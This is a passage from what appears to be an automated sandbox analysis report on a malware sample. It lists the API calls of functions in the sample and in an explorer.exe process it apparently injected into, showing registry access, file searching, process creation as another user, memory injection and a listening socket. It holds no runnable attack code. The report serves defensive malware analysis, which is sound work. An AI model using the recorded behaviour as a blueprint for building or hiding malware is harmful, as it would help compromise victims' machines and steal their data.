    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00420C2C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
    • PFXImportCertStore.CRYPT32(?,?,?), ref: 00420C45
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GetSystemTime.KERNEL32(?), ref: 00420C91
      • Part of subcall function 00420A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00420B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00420A23
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042626B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
    APIs
      • Part of subcall function 004260BE: GetModuleHandleA.KERNEL32(?), ref: 004260DC
      • Part of subcall function 004260BE: GetModuleHandleA.KERNEL32(?), ref: 004260FB
      • Part of subcall function 004260BE: GetFileVersionInfoSizeA.VERSION(?,00000000), ref: 00426106
      • Part of subcall function 004260BE: GetFileVersionInfoA.VERSION(?,00000000), ref: 00426125
      • Part of subcall function 004260BE: VerQueryValueA.VERSION(?,00407250,00000000,00000000), ref: 00426145
    • CoCreateInstance.OLE32(0043245C,00000000,00000001,00401670,?), ref: 004262C1
      • Part of subcall function 00426166: GetModuleHandleA.KERNEL32(?), ref: 00426181
      • Part of subcall function 00426166: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0042619F
      • Part of subcall function 00426166: VirtualQuery.KERNEL32(?,?,0000001C), ref: 004261AD
      • Part of subcall function 00426166: IsBadReadPtr.KERNEL32(?,00000010), ref: 0042623C
    • CoCreateInstance.OLE32(0043246C,00000000,00000001,00401660,?), ref: 00426337
      • Part of subcall function 00425E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00425E37
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004089DC, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
    APIs
    • CloseClipboard.USER32 ref: 004089DC
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004229C7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
    APIs
    • CoCreateInstance.OLE32(00407228,00000000,00004401,00407238,?), ref: 004229F7
    • CoCreateInstance.OLE32(004071F8,00000000,00004401,00407208,?), ref: 00422A4A
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00408A5F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
    APIs
    • LoadIconW.USER32 ref: 00408A5F
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00420477, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 004204BA
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0041C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 0041C867
      • Part of subcall function 0041C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 0041C896
      • Part of subcall function 0041C842: RegCloseKey.ADVAPI32(?), ref: 0041C8B6
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041CB9A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • StringFromGUID2.OLE32(?,00000064,00000028), ref: 0041CC37
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00425080, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 004250CE
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00424779, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 004247C7
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041C136, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
    APIs
    • GetTempFileNameW.KERNEL32(?,cab,00000000,?), ref: 0041C158
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    • PathFindFileNameW.SHLWAPI(?), ref: 0041C17B
      • Part of subcall function 004182C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 004182DD
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041D9C8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 0041D9DF
      • Part of subcall function 0041977E: GetTickCount.KERNEL32 ref: 0041977E
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 0041D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0041D7C4
      • Part of subcall function 0041D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 0041D7E7
      • Part of subcall function 0041D7AA: CloseHandle.KERNEL32 ref: 0041D7F4
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042690B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
    • GetFileAttributesExW.KERNEL32(?,?,?), ref: 00426970
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • VirtualAlloc.KERNEL32(?,00001000,00003000,00000004), ref: 0042694E
    Strings
    • {B60D3CFB-57EE-51EE-A961-10791936558D}, xrefs: 00426933
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00429E61, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
      • Part of subcall function 0041BC34: GetTokenInformation.ADVAPI32(00432AC0,00000001,00000000,00000000,00432F90), ref: 0041BC4D
      • Part of subcall function 0041BC34: GetLastError.KERNEL32(?,00000000,?,?,00419AD9,00432AC0,?,?,?,00407CFB,000000FF,00432AC0,00432F90), ref: 0041BC53
      • Part of subcall function 0041BC34: GetTokenInformation.ADVAPI32(00432AC0,00000001,?,00432F90,00432F90), ref: 0041BC79
    • EqualSid.ADVAPI32(?,?), ref: 00429E86
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00419DBF: LoadLibraryA.KERNEL32(userenv.dll), ref: 00419DD0
      • Part of subcall function 00419DBF: GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00419DEF
      • Part of subcall function 00419DBF: GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00419DFB
      • Part of subcall function 00419DBF: CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00429EB5,00000000,?,?), ref: 00419E70
      • Part of subcall function 00419DBF: CloseHandle.KERNEL32(?), ref: 00419E83
      • Part of subcall function 00419DBF: CloseHandle.KERNEL32(?), ref: 00419E88
      • Part of subcall function 00419DBF: FreeLibrary.KERNEL32(?), ref: 00419E9F
    • CloseHandle.KERNEL32(?), ref: 00429EC7
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041A5AD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
    APIs
      • Part of subcall function 0041A52D: LoadLibraryA.KERNEL32(urlmon.dll), ref: 0041A53E
      • Part of subcall function 0041A52D: GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 0041A551
      • Part of subcall function 0041A52D: FreeLibrary.KERNEL32(?), ref: 0041A5A2
    • GetTickCount.KERNEL32 ref: 0041A5F2
      • Part of subcall function 0041A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 0041A44F
      • Part of subcall function 0041A3FB: Sleep.KERNEL32(?), ref: 0041A462
      • Part of subcall function 0041A3FB: InternetCloseHandle.WININET ref: 0041A4E8
    • GetTickCount.KERNEL32 ref: 0041A604
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    • http://www.google.com/webhp, xrefs: 0041A5D2
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00409FD4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
    APIs
    • ReleaseDC.USER32 ref: 00409FE2
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040A097
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00408EED, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
    APIs
    • CloseHandle.KERNEL32 ref: 00408EED
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F501, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
    APIs
    • MapAndLoad.IMAGEHLP(sV0,WvM,?,00000000,00000000), ref: 0040F53C
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041D976, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 0041D98B
    • GetTempFileNameW.KERNEL32(?,tmp,00000000,004072C4), ref: 0041D9B4
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00408B81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26
    APIs
    • SetBkMode.GDI32 ref: 00408B81
    • GlobalUnlock.KERNEL32 ref: 00408B87
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00414F64, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00424DF4, Relevance: 5.2, APIs: 4, Instructions: 196
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 0041D80F: CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 0041D834
      • Part of subcall function 0041D80F: GetFileSizeEx.KERNEL32(?,00000000), ref: 0041D847
      • Part of subcall function 0041D80F: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 0041D86F
      • Part of subcall function 0041D80F: ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 0041D887
      • Part of subcall function 0041D80F: VirtualFree.KERNEL32(?,00000000,00008000), ref: 0041D8A1
      • Part of subcall function 0041D80F: CloseHandle.KERNEL32(00000001), ref: 0041D8AA
    • StrStrIA.SHLWAPI(?,?), ref: 00424F1D
    • StrStrIA.SHLWAPI(?,?), ref: 00424F2F
    • StrStrIA.SHLWAPI(?,?), ref: 00424F41
    • StrStrIA.SHLWAPI(?,?), ref: 00424F53
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0041D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 0041D8C8
      • Part of subcall function 0041D8B7: CloseHandle.KERNEL32(00000001), ref: 0041D8D6
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd

    Analysis Process: explorer.exe PID: 1496 Parent PID: 212

    Executed Functions

    Function 00E4B57B, Relevance: 6.0, APIs: 4, Instructions: 32
    APIs
    • socket.WS2_32(?,00000001,00000006), ref: 00E4B584
    • bind.WS2_32 ref: 00E4B5A4
    • listen.WS2_32(?,00000000), ref: 00E4B5B3
    • #3.WS2_32(?,?,?,?,?,00000001,00000006,?,00E3A401,7FFFFFFF,00000000,?), ref: 00E4B5BE
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E3755C, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 197
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00E37588
    • GetModuleHandleW.KERNEL32(00000000), ref: 00E375A8
    • LoadLibraryA.KERNEL32 ref: 00E3760C
    • GetModuleHandleW.KERNEL32(?), ref: 00E37667
    • GetProcAddress.KERNEL32(?), ref: 00E3771E
    • GetProcAddress.KERNEL32(?), ref: 00E3772F
    • GetProcAddress.KERNEL32(?), ref: 00E37743
    • GetProcAddress.KERNEL32(?), ref: 00E37754
    • GetProcAddress.KERNEL32 ref: 00E37765
    • GetProcAddress.KERNEL32(?), ref: 00E37776
    • GetProcAddress.KERNEL32(?), ref: 00E37787
    • GetProcAddress.KERNEL32(?), ref: 00E37798
    • GetProcAddress.KERNEL32(?), ref: 00E377A9
    • GetProcAddress.KERNEL32(?), ref: 00E377BA
